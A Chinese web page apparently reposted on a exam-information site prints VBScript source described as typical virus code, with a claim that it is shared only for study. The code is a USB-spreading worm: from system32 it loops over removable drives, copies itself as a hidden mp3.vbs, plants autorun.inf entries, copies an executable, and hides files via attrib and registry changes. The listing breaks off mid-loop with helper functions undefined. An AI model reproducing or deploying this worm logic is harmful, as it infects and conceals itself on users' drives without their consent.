一段病毒常用的VBS代码
来源:易贤网 阅读:2139 次 日期:2016-07-18 13:51:58
温馨提示:易贤网小编为您整理了“一段病毒常用的VBS代码”,方便广大网友查阅!

vbs病毒文件常用的代码,给这段代码不是想让大家做病毒,而是让大家学习一下它的代码,充分了解vbs技术。

代码如下:

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject("scripting.filesystemobject")

Set wshell=CreateObject("WScript.shell")

Set curfolder=fso.GetFolder(".")

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid() '不显示隐藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

'autorun.inf文件夹改名

If fso.FolderExists(dri.Path&"\autorun.inf") Then

fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"

End If

'复制自身及exe文件到移动硬盘

If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then

Else

If fso.FileExists(dri.Path&"\mp3.vbs") Then

fso.DeleteFile dri.Path&"\mp3.vbs",True

ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then

fso.DeleteFile dri.Path&"\autorun.inf",True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True

If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then

fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True

End If

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")

wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0

Set norkon=Nothing

更多信息请查看脚本栏目
易贤网手机网站地址:一段病毒常用的VBS代码
由于各方面情况的不断调整与变化,易贤网提供的所有考试信息和咨询回复仅供参考,敬请考生以权威部门公布的正式信息和咨询为准!
关于我们 | 联系我们 | 人才招聘 | 网站声明 | 网站帮助 | 非正式的简要咨询 | 简要咨询须知 | 加入群交流 | 手机站点 | 投诉建议
工业和信息化部备案号:滇ICP备2023014141号-1 云南省教育厅备案号:云教ICP备0901021 滇公网安备53010202001879号 人力资源服务许可证:(云)人服证字(2023)第0102001523号
云南网警备案专用图标
联系电话:0871-65317125(9:00—18:00) 获取招聘考试信息及咨询关注公众号:hfpxwx
咨询QQ:526150442(9:00—18:00)版权所有:易贤网
云南网警报警专用图标